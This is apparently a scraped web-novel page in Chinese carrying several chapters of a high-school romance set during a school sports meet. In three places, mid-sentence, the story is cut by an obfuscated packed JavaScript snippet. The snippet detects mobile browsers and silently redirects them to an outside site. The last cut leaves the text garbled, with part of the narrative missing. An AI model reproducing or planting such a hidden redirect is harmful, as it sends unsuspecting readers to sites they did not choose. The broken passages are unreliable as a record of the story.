罗闻脚步一顿，扫了一眼她的腿，微愣道：“你的腿不是受伤了吗？还能参加运动会吗？” 桌底下，沈方月有一边腿的校裤拉至膝盖，细长白皙的小腿露在外面。 她腿上涂了药，为了不弄脏校裤，这几天都是这么过的。 沈方月摆摆手：“没事，皮外伤而已啦，没伤到骨头，现在都不怎么痛了，能跑。” “行，那我先给你写上。后面训练的时候要是有什么不舒服的就跟我说，还能调整。”罗闻写上她的名字，碎碎念，“真好，我们班里两个跑的最快的女生都来接力了……宋哲，你选什么项目？” 宋哲对这些不太有所谓，反正都是凑数，他双手抱着脑袋：“我都行。啥项目缺人，你就把我塞进去。” “就等你这句话呢，一直没人愿意跑男子三千米，我项目又报满了，报不了。给你写上了啊。”罗闻问下一位，“裴祈，你呢？” 沈方月后倾身子，后背贴着裴祈的桌沿，忽然插声：“男女混合接力还有位置吗？” 罗闻一愣：“有，目前男生就我报了，还差一个。” 沈方月笑起来：“那他也报这个。” 当事人停下笔，抬眼问：“有你什么事。” “当然有。”沈方月说，“我是裴祈代表发言人。” 裴祈：“谁封的？” 沈方月得意地晃脑袋：“我自己。” “……” 裴祈目光扫过她飘扬的马尾，最后什么也没说，转了一下笔，重新垂眼。 罗闻目光在俩人之间转了转：“那？裴祈，我把你名字写上去了？” “嗯。”裴祈懒声应。 && 身为省里数一数二的高中，山城一中非常看重学生德智体美劳的均衡发展。校运会是年年不落，每年都办得有声有色。 学校重视，老师自然也是。校运会这周，高一、高二每天下午的最后一节自习课，老师都会让班里要参赛的运动员到操场去练练项目。 于是每天下午，操场上都挤满了学生。 裴祈跑完一圈回来，随手捞起一瓶没开过的矿泉水，拧开灌了两口，无意识地抬眼去找跑道上的人。 沈方月挽着裤脚，在红色跑道上非常显眼。 为了方便跑步，她绑了一个扎实的丸子头，跑得比周围几个男生都要快，像一阵轻盈的风。 “月姐是真能跑啊。”宋哲随着裴祈的目光看过去，忍不住感慨。 裴祈放下水，朝宋哲伸手：“计时器给我。” 古涵下楼检查班里学生的训练情况，一眼就看到了草皮上坐着的那群男生。 古涵走过去，皱眉问：“你们怎么不练？” 宋哲吓了一跳，立刻开始演戏，他大喘特喘：“哈……呼……练了，老师……哈，我刚跑完三千米……” “老师，看到那没？”钟震给她指了指高三教学楼的楼顶，“我的铅球，刚扔到那了。” 古涵：“……” 古涵直接给俩人一人来了一脚，才说起正事。 她看向另一个人：“裴祈，刚才学校通知下来，今年的运动会入场式，每个班级都要安排两名引导员，一男一女。我打算安排你和沈方月，没问题吧？” 引导员，说白了就是站在队伍前面举班牌的傻子。 裴祈淡声道：“您找别人吧。” 古涵：“怎么，嫌丢脸？” “麻烦。”他直白道。 古涵早猜到他的回答。 自高一以来她便发现，裴祈和其他同龄男生不太一样。 明明都处于对万物都会感到新鲜、喜欢拔尖、想当最独特的青春期，裴祈对很多事情却都是一副毫无兴趣，不冷不热的态度。 只是这么一张青春帅气的脸蛋，不能放到班级第一排去招摇，实在有些可惜。 古涵点头：“行吧，那我再去问问其他男同学。你看见顾飞白没？” “……等等。” 古涵疑惑回头。 裴祈掂了一下手里的水瓶，沉默了几秒后说：“我去。” 古涵纳闷：“不是嫌麻烦吗？” “为班级做贡献。”裴祈毫无感情地说，“可以克服。” “？” && 沈方月冲过终点线，往裴祈身上撞了撞，挨着他的肩膀，气喘吁吁地问：“老师刚才跟你说什么了？” 裴祈：“让我们去做运动会入场引导员。” “哦。”沈方月语气很苦恼，笑得很灿烂，“唉，长得漂亮就是麻烦。” “……” 裴祈一副懒得听她疯言疯语的模样，扭头想走，又被沈方月抓住衣袖。 沈方月去看他手里的计时器：“我这次跑得怎么样？” 裴祈给她递了瓶水：“比上次快。” “比你快么？” “天没黑就做梦了？” “……” 切！ 接了引导员的活，裴祈和沈方月在练完各自的项目后，还要俩人单独留下来加练。 到了黄昏，操场上人影寥寥，俩人找了一块空地练习。 沈方月双手端举着班牌，非常正经地走了一段，然后问前边的人：“怎么样？” 裴祈背脊微弓，不是很端正地坐在草皮上，夕阳给他身上镀了一层暖橙色的光。 他随意地曲着腿，懒洋洋地举着手机帮沈方月拍视频。 “自己看。”裴祈手机递给她，撑着草皮起身。 “你去哪？”沈方月问。 “找老师。” “找老师干嘛？” “问能不能换人，你走得太呆了，我接受不了。” “？” 裴祈还没起身，手臂上就挨了一套拳击。 打闹了一阵，俩人肩挨着肩坐到草皮上。 沈方月低着脑袋看裴祈刚才录的视频，想看自己的体态有没有需要改正的地方，看着看着忍不住埋怨：“你把我拍得太丑了！” “你自身条件就在这。”裴祈说，“别要求太高。” “……明明就是你的问题，你自己看！双下巴都拍出来了，我哪来的双下巴？” 沈方月刚想把罪证举到他面前，脖子忽然微微一热。 裴祈伸手，两只手指贴在她下颌，在她皮肤上随意地揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760838|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两下。 “谁说没有？”他偏过头，好笑地看她，“这不是么？” 落日黄昏，气温已经没那么高。 可能是光线问题，裴祈眼睛里的颜色似乎比平时都还要淡一些，明明说的还是刻薄的话，眼神却温柔。 一瞬间，沈方月觉得裴祈的手指好烫。 风从身后拂来，吹动沈方月的校服衣摆和发丝。她耳边很重地跳了两下，蓦地回神。 她拍开裴祈的手，语速很快地嘟囔：“……就是你拍的不好。” 裴祈撇开眼，撑着草皮再度起身。还没站稳校服裤就被人拽住。 “你真不当引导员了？”沈方月说，“不行，你必须陪我。” “撒手。” “我不！” “哦。”裴祈说，“意思是我不用练？” 裤腿被松开，裴祈弯腰捞起班牌，走到沈方月定的起点，非常敷衍地走了一遍。 沈方月坐在他刚才的位置，也在拍他。 裴祈走完一段后，只见沈方月皱眉举着手机，一副愁虑深重的模样，然后从手机后面挪出脑袋，对他说：“裴祈，你再走一遍。” 裴祈：“？” “我发挥超常，把你拍得太帅了。”沈方月说，“再来一遍。” “……” && 大家顶着高温练习了一周，终于到了运动会当天。 因为是少有的学校集体活动，大家今天都不约而同地早早到校。离开幕式还有半小时，高一高二的教学楼已经闹哄哄地坐满了人。 “裴祈。”沈方月回头问身后的人，“我好不好看？” 沈方月今天偷偷化了很淡的妆，不明显，只有眉粉和一点儿口红，加深了她精致漂亮的轮廓。 裴祈从卷子里抬头，视线在她脸上停留不过半秒：“丑。” “我听到你的心声了，你说我超级好看。”沈方月说。 “是吗？”裴祈说，“既然能听到我的心声，月考数学怎么只有43。” 沈方月微笑：“今天是本学期最快乐最自由的运动会日，别逼我扇你。” “卧槽，真美啊月姐，怎么说，待会儿走红毯去？”刚到教室的宋哲放下书包，张口就夸。 沈方月朝他伸拳头：“说得好，你现在暂时是我最要好的朋友了。” 宋哲跟她碰拳：“好嘞！” “怎么样，裴祈。”沈方月晃了晃手里的唇泥，“我把我的美貌分你一点？” 裴祈：“谢谢，但不用。” 沈方月转身站起来，俯身朝他靠去，脸上带着逗弄他的笑：“来嘛，我就抹一点。我用手指给你抹，不明显的，别人肯定看不出来——” 裴祈皱了下眉，刚想把人挪走，抬眼却又忽然愣住。 按照学校要求，沈方月今天穿了夏季蓝色校服t恤。 此刻，她前襟两颗扣子都没系，一弯腰，衣领瞬间敞开。 里面的淡粉色布料下轮廓玲珑，沈方月的皮肤白得晃眼。 “老师叫下楼了！”后门传来一道男声。 沈方月下意识循声看去，衣服忽然被什么东西戳了一下。 她莫名其妙低头，只见一支笔顶在她的衣领处，把衣领全抵到了她的肌肤上，挡住了衣服里的景色。 笔的主人垂着脑袋，看不清表情。 “沈方月。”裴祈低声，“两颗都给我系上。” 沈方月脑袋又往下低了几度，怔住。 “我明明系了一颗的，怎么松了……”沈方月立刻站直身，把纽扣系好，想了想，还是两颗都系上。 想到自己刚才的姿势，她手指一顿，脖子莫名其妙发起热，一点点向上蔓延。 离开教室前，沈方月瞄了眼镜子，看见自己脸颊红彤彤，像打了腮红。 班里同学陆续往外走。沈方月挤在人堆里，终于忍不住撞了一下旁边的裴祈。 “你刚才！不会！看到了吧！！！”她小声质问。 “……” 裴祈转过头来。他长得高，往下看时带着冷淡的刻薄。 “没。”他说，“而且，你有什么能看的？” “………………？” 沈方月刚才那点情绪瞬间灰飞烟灭，裴祈的手臂再次遭罪。 沈方月的力气像挠痒，裴祈无所谓地任她敲打。 他惹完沈方月后就偏开了脸。 黑色碎发里的耳尖依然还是红色。 12.第 12 章 早上八点，运动会的开幕式正式开始。 学生们全都聚集在看台旁，按照班级顺序一个个入场。 老师们不参与这个环节，都站在边上眯着眼给自己班学生压力，偶尔小声聊两句。 到了自己班级，古涵才终于从手机里抬头。 “古老师，你们班这队列走得挺有风格啊。”身旁的老师看着五班七扭八歪的阵型，笑道。 古涵毫不在意地“嗯”了一声。 他们班没怎么练入场，古涵不爱整这些形式主义，有这练习走路的功夫，不如多让他们练练运动项目，至少是真的强身健体。 那老师往队列前面一看，下意识挑了一下眉：“不过你们班的裴祈和沈方月是真好看，真青春。” 五班队列前。 女生脸蛋清透，眼睛澄亮，微微扬起的下巴看着有点呆，又有些可爱。 男生个子高瘦，五官线条冷淡又优越。步伐虽然稍显随意，倒也算整齐。 自他们走进跑道起，看台上的领导、旁边已经入场完毕的学生，无一人不朝他们看。 “你说，长这么好看，你不得时时刻刻防备着他们早恋呀？”那位老师揶揄一笑。 “这有什么可防备的？马上都是成年人了。不耽误学习，不干出格的事就行。” “？” 五班一行小崽子走完领导面前的跑道，肉眼可见地松一口气，队形立刻走得更乱了。 古涵关掉手机上的乙女游戏，在那位老师愣怔的目光下转身离开。 && 今天万里无云，烈日炎炎，是这周气温最高的日子。 入场式结束，校领导也识趣的没多废话，说了两句便让各班回到事先分配好的看台上。 看台上方只有一个做做模样的小棚子，起不到什么遮阳作用，几乎是把人放在位子上烤。 沈方月在座位上蜷成一团，抬手挡在额前，把自己的脸蛋藏进小小阴影里。 她用余光瞥了一眼身边的人：“顾湘，你不觉得晒吗？” 周围的女生要么撑起了伞，要么也和沈方月一样。 只有顾湘，一坐下便翻开了塞在口袋里带下来的练习册，此刻正认真在做题。 头顶上的大太阳丝毫没有影响到她：“还好，我和去山上采药的时候比这还要晒得多。” “……那你怎么一点没变黑！” “不知道，体质问题吧。” “真好，蹭蹭。”沈方月歪了歪身子，碰了一下她的手臂，“我是完了。我特别容易黑。在这儿坐一天，明早你就认不出我了。” “不至于。”顾湘笑了一下，“你没涂防晒霜？” “没。”沈方月想到什么，一脸怨气地加大音量，“我的防晒霜上次被某个混蛋用完了！” 坐在她另一边的混蛋：“。” 沈方月不提还好，一提又气。 她的声音像人一样被太阳晒得蔫蔫的，碎碎念时带点不自觉的娇气：“那瓶防晒霜是我从外地带回来的，就这么一瓶，我爸妈这次出差又去太久，一直没续上。” “都怪我！当时心太软！” “当然，我也没想到他的脸这么大！” “最后那些都涂在你脸上了，谢谢。而且分量正好。”裴祈嗓音凉凉，“所以是谁脸大？” 沈方月：“屁。你肯定偷偷匀走了一点，你怎么用了还不承……” 一件带有寡淡柑橘味的校服外套被盖到她脑袋上。 头发的炙烤感骤然消失，一瞬间，沈方月觉得空气里的热意都降了许多。 裴祈收回手，懒声问：“行了没。” 沈方月伸手拉了一下头顶的校服外套，把自己的脑袋包裹起来，含糊道：“……勉强。” 顾湘已经习惯了他们的幼稚对话。 其实平时她没觉得裴祈幼稚，相反，裴祈好像比其他同龄男生都要成熟许多。 只是每次遇上沈方月，他的心理年龄好像就会自动降低好几岁，短暂地回到同龄人的队列。 顾湘刚做完一题，前面忽然传来一道爽朗的声音，在叫她名字。 “顾湘！” 顾湘一愣，从习题册里抬头。 罗闻站在看台最下方朝她挥手。日光下，他的眼睛比平时还要亮。 “下午就跑接力了。”他说，“我再陪你练一下接棒吧？” 顾湘没跑过接力，前几次练习时总是不能及时接过罗闻手里的接力棒。 但他们班没有体育生，古涵对他们的要求本就是重在参与，没必要苦练。 “放心，我找到了一个很凉快的地方，不晒的！”罗闻笑起来，“我们去那练。” “去吧。”沈方月从校服外套底下露出眼睛，向她保证，“我会帮你看好练习册的！” 顾湘：“……” 周围人太多，顾湘说不出“随便跑一下得了别练了”这种话。 她悄悄地叹了口气，放下书本：“……好。” 他们去了榕树下。 “我研究了一下。”罗闻说，“有三种方法，我们之前用的叫推入式，但你的手太小了，好像第一时间没那么好握。我觉得我们可以试一下下压法，就是你手心朝上，我直接把接力棒压在你手上——” 对上她的眼睛，罗闻顿了一下，然后飞速撇开眼睛，“……你怎么笑了？” “我没别的意思。”顾湘笑得很浅，只是嘴角上挑，但整个人似乎都柔和许多，“就是觉得你很认真。” 罗闻飞快眨了几下眼睛：“毕竟是比赛。” “嗯，我们就用下压法。”顾湘向他保证，“你放心，我比赛的时候肯定不会掉棒。” “……” 罗闻：“其实掉了也没关系。” “那我们试……什么？”顾湘没听清。 “没什么！”罗闻举着接力棒，笨拙地在半空扬了几下，“那，那练习吧！” 俩人试了好几次，这个办法确实更好用。 最后一遍练习，罗闻佯装地跑了几步，像之前一样朝顾湘递出接力棒，却不知怎的，手下一滑，接力棒脱落掉地。 罗闻第一次出错，完全没反应过来，肌肉记忆地去碰顾湘的手。 顾湘习惯回握，两人手指在半空缠绕，短暂地牵了一下。 顾湘的手和他的不同。 虽然顾湘个子小，平时看起来很娇弱的样子，但她手却微凉粗糙，触感分明。 顾湘手指绻起的那一刻，像在罗闻的心脏上挠了一下。 顾湘抽回手，笑着抬头：“怎么回事，你也会出错。” 看清罗闻的脸，顾湘一愣。 罗闻剪了很干净的平头，平时总是笑着，清爽又精神。现在的他却涨红着脸，高大的身子呆呆地立着，一动不动地盯着她。 顾湘抬头看了眼榕树，疑惑出声：“你很热吗？” “没有！”罗闻像是被她叫回神，忽然后退了一步。 然后再退一步。 “没有，不热！”罗闻飞快揉了一下鼻子，转开脸看向另一边，“那，那就练到这吧！我拿接力棒去还了！” 顾湘还没反应过来，罗闻已经捡起接力棒并走出了一段距离。 然后他忽然又停住，回头。 “那什么，你要喝水吗？我给你买。”罗闻说，“啊，我意思是我顺路——顺路给你买一瓶……或者沈方月要喝吗？我也可以给她带一瓶，你你你喜欢喝什么？” && 裴祈百无聊赖地玩着手机游戏，肩膀忽然被旁边的校服脑袋撞了两下。 “裴祈！你快看！”沈方月小声道，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765580|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快看榕树那边，顾湘他们！快呀快呀！” 裴祈过了关才抬头，正好看到罗闻离开的身影：“怎么了。” “你刚才看到没。”沈方月睁大眼，举起自己双手比划，“他们刚才好像这样了！我没怎么看清，你看见了吗？” “哪样？” 手指被握住，沈方月牵着他的手，吃力地把他的手拎起来。 还晃了两下。 “这样！”沈方月说。 “……” 前方的古涵似有所感地回过头。 裴祈立刻把自己的手抽出来：“没看见。” “谁让你刚才一直不抬头！！” “看见什么了？”钟震回过头来随口问了一句，然后朝裴祈扬了扬下巴，“裴祈，跳高马上检录了，我们过去吗？” && 班里男生少，古涵规定每个男生要报两个项目。在沈方月的做主下，裴祈报了接力和跳高。 跳高比赛的场地站满了人，比赛已经开始，裁判的哨声一声接着一声，中间夹杂着几声观众的呐喊—— “裴祈裴祈你最棒！裴祈裴祈你最帅！裴祈！加油！裴祈！加油！” 裴祈：“……” 裴祈：“……沈方月。” “裴祈裴祈你最棒，裴祈——啊？” 前后左右的异样目光都聚在他们身上。 裴祈面无表情地站在队列中间，说：“你是傻子吗。” “狗咬吕洞宾。我这是在给你加油欸！” “你给别人加油行不行？” 站在他们身后钟震刚想婉拒—— “帮我拿着手机。”裴祈把手机递给沈方月，淡淡道，“别嚷了，力气留着，我跳的时候再喊。” 跳高比赛进行的速度很快，很多人都只是走个过场，小跑一段然后往垫子上一倒就算完事。 校方在接近比赛区域的跑道上拉了一条白线，把观众和选手分隔开。 眼见就要到他们，裴祈手臂转了下，随意地开始热身。 “哎，钟震！”站他们身后，一个其他班的男生忽然开口打招呼，“刚才那个女的是沈方月吧？跟你们说话的那个。” 钟震看起来像是认识他，点头回答：“是啊，哈哈，是不是很傻。” “有点。”男生笑道，“不过挺可爱的，平时看不出来。” 钟震点头表示赞同：“月姐的脸看起来很高冷哈？” “对。”男生靠近过来，朝他扬了扬下巴，小声商量，“你有她微信吗？给我推个呗。” “干嘛？”钟震挑眉，“你想追她啊？” 男生笑骂一句，撞了撞他肩膀，“怎么说？你觉得我有戏不？” “没有。”一道冷淡的声音打断他俩的话。 男生一怔，抬头，对上裴祈的眼睛。 “怎么说？”男生干笑一声，问，“她有男朋友了？” 裴祈道：“没。” 男生：“那什么情况？” “有人不让她谈。”裴祈轻描淡写，语气自然，“说是谁敢跟她谈，就打断那人的腿。” “这么吓人，谁说的？她家人吗？她爸？还是她妈？” “我。” 男生：“哦……啊？？” 钟震：“啊？？” 裴祈在俩人茫然不解又疑惑的眼神中走到跳高的助跑定点，然后转头，朝人群里那个校服脑袋抬了一下下巴。 校服脑袋马上接到示意。 沈方月：“裴祈裴祈你最棒！裴祈裴祈你最帅！裴祈！加油！裴祈！加油！” 裴祈在这道笨拙又娇气的加油声里，助跑，起跳，高高一跃。 校服衣角下坠，露出男生劲瘦利落的腰线。 蔚蓝晴空下，裴祈翻过横杆，划出一条好看的弧线。 13.第 13 章 学生们平时学习已经够辛苦，一年一次的运动会，老师们都默契地睁一只眼闭一只眼，没有严管纪律。 观众席上热热闹闹，大家交头接耳，手上都还捧着小零食。 宋哲把自己整个人藏在校服外套里，双手捧着手机，正在游戏里厮杀。玩得正嗨，脚突然被人碰了碰。 他熟练地把手机往裤腰里塞，拿起腿上的课本，拉下校服：“怎么了老师我背书呢——靠！吓死我了，我以为老古过来杀人了呢。” 看清来人，宋哲松一口气，关心道，“怎么样？跳高碰到杆子没？” 裴祈闻言冷嗤，侧了侧身，露出他身后的沈方月。 只见沈方月鼻子朝天，脸上挂着广告女郎般标准又虚假的微笑，高举双手，一只绕到脑后，正摆出某知名椰汁品牌瓶罐上性感女星的招牌动作——只是那款椰汁被她换成了一本单薄的获奖证书，上面写着：恭喜（裴祈）同学获得山城一中第六十六届运动会高二年级跳高项目第三名。特发此状，以兹鼓励。 沈方月骄傲地仰着她的小下巴，脖子上金灿灿的铜牌在日光下闪烁着劣质的光辉。 宋哲：“……” 裴祈一路上都没怎么回头看：“……沈方月，我说了，别这么举。” “怎么了？”沈方月说，“我获得了这么大的荣誉，当然要给全校人都看一看啦。” 裴祈：“这荣誉有你什么事？” “怎么没有？没我的加油助威，你能得铜牌吗？你看刚才其他班的加油团，音量有我一半大吗？”沈方月在心里认真地估算了一下，点头给予自己肯定，“严格来说，这块奖牌里有百分之八十是我的功劳。” “没你那几声干扰，我能夺金。” 沈方月大惊：“你好不要脸。” “彼此彼此。” 两人吵吵闹闹地穿过宋哲，坐回到位子上。 宋哲起初以为沈方月给裴祈报跳高是想看他出糗，没想到裴祈反手捧了个铜牌回来。 他回神：“不是，裴祈，你真会跳高啊？！” 裴祈：“前两天不是学了？” “……” 放学后随便拉来个垫子跳了几下，然后比赛跳了个第三？ 见宋哲满脸一言难尽，沈方月伸出脑袋，隔着裴祈跟他解释：“他从小弹跳力就好，我以前还想把他的爱称改成青蛙。” 宋哲：“那怎么没改？” 沈方月遗憾：“他说他就想当乌龟——” 话音还未落，后衣领被人捏住，沈方月紧急改口：“不对，是忍者神龟。” 没用，还是被裴祈拎回原位。 “说够没。” “怎么啦，我又没乱说。”沈方月很有底气。 裴祈都懒得说。沈方月当初仗着他年纪小，什么丑动物都往他身上安，之前非说有只粉猪跟他同名，要叫他猪猪；没多久又给他取了青蛙，还不要脸地也要给自己取个“天鹅公主”。 动物界眼见就要凑齐了。 这么多年过去，沈方月的“不要脸”并没减退多少。没过一会儿，那颗脑袋又凑过来，细软的头发隔着校服戳在他肩上，跟他讲歪理：“乌龟，我为这块奖牌付出了这么多，今晚你得请我吃饭。” “做梦。” “我要吃学校后巷那家小馄饨，”沈方月双手握拳，像游/行活动那样前后摆动，在裴祈耳边规律地喊出自己的诉求，“小馄饨！小馄饨！小馄饨！小馄饨！” 裴祈觉得沈方月就算到了50岁可能也还都是这么幼稚。 他单手握拳，学沈方月，毫无语调地驳回：“不请。不请。不请。不请。” 沈方月：“……” && 男女混合接力被学校安排在下午最后一场，高二16个班级被分成两组比赛，最后按完成速度排名。 临近放学，又是团体比赛，跑道边围满了观众。 操场一圈正好400米，每个人的接棒点都一样。于是检录完后，所有参赛选手都围在起点处。 沈方月仔细地把裤脚挽到膝盖，开始热身。 校服随着动作贴合在她的身体上，勾勒出匀称有致的线条。沈方月不论腿、手臂，或是脖颈都很修长，小时候叶婉曾把她送去学跳舞，舞蹈老师看见她后非常欣喜，以为捡到了个好苗子。 说来也巧，她当时学的第一支舞，名字就叫《天鹅公主》。 然后刚学没几天沈方月就因为压腿太痛，哭着躲在裴祈的房间，不愿意去上课了。 那时叶婉在外面敲门，哄骗她：“宝宝乖，再坚持一段时间，你就真的是天鹅公主了。” 吃不了一点儿苦的沈方月抓着裴祈的衣服不让他开门，哭得梨花带雨，没有上当：“裴祈都不当青蛙了，那我也不当天鹅公主了！” 回忆到这，沈方月又想起当年压腿时的撕心裂肺，心有戚戚地揉了揉自己的大腿。 “腿疼？”身边的人问。 沈方月点头。 裴祈皱眉。今早等公交的时候他刚检查过一遍她的伤口，结的痂都快脱了，怎么还疼。 他正准备蹲下去看，就听见沈方月说：“那个舞蹈老师下手真的好狠。” “？” “但是你是不是也太不讲义气了啊！”沈方月撞他肩膀，跟他算十多年前的帐，“你当时居然要去给我妈开门！” “……” 裴祈过了几秒才跟上她的思维，他沉默几秒：“沈方月。” “干嘛。” “你学习的时候记性也这么好就好了。” “……” 跟过来给他们加油的宋哲和钟震此刻脑袋乱转，四处张望。 钟震小声道：“妈呀，最后一棒全明星阵容啊，你们回头看看，全是体育生！” 他们班四位选手经过讨论，最后定下来的接力顺序是沈方月、罗闻、顾湘、裴祈。 “那怎么了？我们最后一棒也是明星啊。”宋哲说，“天天挂在校园竞赛荣誉榜上，上午刚摘了个新鲜的跳高铜牌，差哪儿了？” 罗闻笑道：“对啊，可惜去年运动会裴祈去参加物理竞赛了，没来，不然我们班去年还能多一块牌。” 沈方月附和：“就是就是！” 明星在一旁热身，没搭理他们。 比赛即将开始，他们班分到的跑道在最中央。 沈方月是第一棒，她站在跑道上，原地轻巧地蹦了几下，整个人像没有重量似的。 裴祈站在一旁等轮序，身边忽然传来“咔嚓”几声，扭头看，是挂着校宣传部工作牌的学生，正举着相机拍照，应该是在给学校宣传报收集素材。 对方拍完便低头检查照片，裴祈扫了眼，拍的几张对焦点全都是沈方月。 到时沈方月看到宣传报上的自己，不知道又要得意成什么样。 裴祈收起目光，再看过去，正好瞧见沈方月被隔壁跑道的男生拍了拍肩膀。 男生挂着张大笑脸，不知道在跟沈方月说什么，隔太远，又太吵，什么也听不见。 沈方月扭头回应，裴祈看不见她的表情。 旁边几人在讨论待会儿加油口号怎么喊，裴祈忽然开口：“钟震。” “啊？”钟震回头，“怎么说大明星？” 裴祈抬抬下巴：“沈方月旁边是谁？” 钟震眯眼望去：“谁——哦，就上午跳高跟我们聊天那个啊！9班的，叫……” “要沈方月微信那男的。” 裴祈声音和语调有点儿冷，钟震愣了一下：“对，是他，怎么了？” 裴祈摇头。 怪不得看着有点眼熟。 裁判不知在磨蹭什么，半天没吹哨，跑道中间两个人叽叽喳喳聊个不停。 又不熟，不知道有什么好聊的。 裴祈面无表情地挪开脸，目光去找裁判席，想问到底开不开始，肩膀冷不防被拍了一下，是路过的物理老师。 对方问他下个月物理竞赛的安排，裴祈刚应两句，就听见一声哨响——比赛开始了。 “我靠！”宋哲大呼一声，“月姐飞出去了！” 青春期的女生许多会在意面子，害羞、怕出丑或者走光，跑步的时候难免有一点放不开。第一棒有好几个女生，几乎都会下意识地拉一下自己的校服衣摆，或者薅一下自己的刘海。 沈方月却没有。她力气虽小，跑步却很快，一双长腿蹬得比谁都卖力，嘴巴抿得死紧，两颊咬得鼓起，像一只努力在乱蹬的漂亮天鹅。 不雅观，没平时好看，却很生动。 她从起步时就很快，一路和隔壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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才跟那男的聊几句，就关心起来了？ 想起接力前看见的画面，裴祈嗓音凉凉：“倒数第二。” 沈方月松一口气，握拳：“Yes！” “？” “咋了月姐？”其他人也望过来，看见她的反应，宋哲问，“这个班的人惹你啦？” 沈方月：“就我隔壁跑道的那个男生，你们有看见吗？” 裴祈嗯一声：“他怎么。” “他居然一上来就问我，需不需要他给我放水！”沈方月一拍大腿，气得不轻，“他在装什么啊？谁需要他让啦？！” 裴祈：“……” 顾湘问：“然后呢？” “然后我肯定说不需要啊。谁知道他越来越烦，一直在找我说话，一会儿问我喜欢喝什么奶茶，一会儿问我要微信号码……他就是想干扰我比赛！”沈方月大骂，“太卑鄙了！” 裴祈：“……” 钟震：“……？” 想起上午某段对话，钟震总觉得哪儿不对，又插不上话。 “前面我都想着算了，可后来裁判马上都要吹哨了，他还在推我的手臂。”沈方月坐直身体，“这我能忍？！” “不能。”裴祈说，“所以你？” “我也推了他一下。”沈方月得意地抬起小下巴，“他差点被我推摔了。” “……” “我厉害吧？” “……” “厉害。”顾湘给予她肯定，“就该这么做。” “对！”罗闻震惊，“有这事你怎么不早告诉我？我可以跟裁判投诉他的！” “算了，现在想想，这可能就是弱者的生存之道吧。”沈方月一撩头发，大方摆手，“放他一马。” 周围聊得热热闹闹，只有站在她旁边的裴祈一直没有声音。 怎么回事？怎么还不夸她？ 沈方月不满意地抬头，对上裴祈的眼睛。 夕阳下，裴祈垂眸盯着她，表情很复杂。 ——欲言又止，迷惑，感慨，释然。 沈方月：“……干嘛这么看我？” “没。”裴祈停顿，缓慢地眨了下眼，肩膀因为放松而懒懒地松垮下来，“我只是突然觉得。” “？” “沈方月，你就一直这么傻着也挺好的。” “？？？” 14.第 14 章 因为裴祈莫名其妙无理取闹胡搅蛮缠的人身攻击，沈方月坐在草皮上往他腿上来了一套降龟十八掌，并单方面向众人宣布了他俩第191次绝交的消息。 这次一共绝交了13分钟，以裴祈一句“吃不吃小馄饨？”而告终。 校运会第二天，已经不剩几个项目，但学生们还是要去观众席应付要来巡视运动会的校领导。 不过好在昨晚隔壁几个省迎来一股冷空气，连带着山城的气温也在一夜之间降了大几度，这座城市终于有了那么一点秋天的味道。 一阵清风穿透单薄的夏季校服，树叶沙沙响，沈方月闭上眼，感觉着这难得的秋天：“啊，好舒——” 感慨才说了一半，肩膀一重，校服外套把这股凉意严严实实挡了个干净。 这件外套昨天才给她挡了一天的太阳。 沈方月翻脸不认衣，抖了一下肩膀，试图把外套抖掉：“自己的外套自己拿。” 裴祈：“穿着。” “我不。”沈方月拒绝，“我不冷。” 裴祈冷笑：“嗯，待会儿鼻涕流进嘴巴里也别想我会去学校小卖部帮你买纸。” 沈方月是感冒圣体。 明明从小就被宠着惯着，免疫力却依旧强不起来，每到换季就容易中招。 “你诅咒我。你好恶毒。”沈方月看他，“但今时不同往日，我已经足足一年没有感冒了，我现在身体强壮得能打死一头——啊嚏！” 沈方月：“……” 裴祈：“打死谁？” “……一头乌龟。”沈方月拉上校服外套的拉链。 不知道是不是裴祈校服更大一些的缘故，穿起来很有安全感。 裴祈觑她一眼，脸上那点冷冰冰的嘲弄还没收回去。他抬手捏住那颗挂在一半的外套拉链，一路往上，拉到了沈方月的下巴。 古涵回头时，正好看到这一幕。 沈方月跟她对上视线，张口就来：“老师，裴祈想勒死我，您管不管？” “不管。”古涵抬抬下巴，“没几场比赛了，下面场地很空，班长，组织一下，大家一起下去拍几张合照。” 古涵平日总给人一种班味很重、不近人情的感觉，但其实是个喜欢记录生活的人，经常给学生们拍照留念。 他们班级黑板旁边有一块不大不小的照片墙，上面贴满了班级大小活动时的抓拍照片和合照。 青春期的小孩是两个极端。要么内敛到害羞，要么张扬得气人。 古涵收拾好自己的东西走到拍照场地时，他们班学生已经自觉分成两个阵营，一部分学生老老实实躲躲藏藏地直立站着，比如顾湘，都快被前面的人挡得看不清脸了；另一部分学生争着要当照片里最亮眼的那一个，比如宋哲和钟震，召集了其他几个显眼包，在前排手拉手，六个人摆成一朵能旋转的人型花——是网上最流行的中老年人合影姿势。 “快快快。”因为有些胖，撑不住，只能在中间当花蕊的钟震喊，“裴祈，这儿还能加片花瓣！” 裴祈：“不了，谢谢。” 他无语地偏开头，刚想离这群人远点。 